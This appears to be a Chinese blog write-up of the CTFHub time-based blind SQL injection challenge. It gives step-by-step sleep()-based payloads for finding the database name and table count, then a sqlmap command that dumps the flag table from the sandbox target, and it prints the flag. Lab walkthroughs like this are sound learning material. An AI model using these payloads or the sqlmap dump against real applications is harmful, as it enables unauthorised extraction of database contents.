CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
要开心吖ZSH几秒前
软件设计师备考-(十四)数据库设计
java·数据库·软考·软件设计师
xrkhy1 分钟前
阿里云对象存储OSS的使用
java·数据库·阿里云
少年攻城狮17 分钟前
SpringAI系列---【如何把ChatClient集成向量数据库SimpleVectorStore并实现RAG?】
数据库
智者知已应修善业23 分钟前
【multisim汽车尾灯设计】2022-12-1
驱动开发·经验分享·笔记·汽车·硬件架构·硬件工程
Bruce_Liuxiaowei35 分钟前
Linux系统提权之计划任务(Cron Jobs)提权
linux·运维·服务器·网络安全·系统安全
问道飞鱼41 分钟前
【数据库相关】TxSQL新增数据库节点步骤
数据库·mysql·txsql·新增节点
Ethan learn English42 分钟前
随时学英语5 逛生活超市
笔记·生活·英语·可理解性输入
程序员Xu1 小时前
【LeetCode热题100道笔记】二叉树的直径
笔记·算法·leetcode
ST.J1 小时前
系统架构思考20241204
java·笔记·系统架构
FPGAI1 小时前
Qt的入门
笔记·qt·学习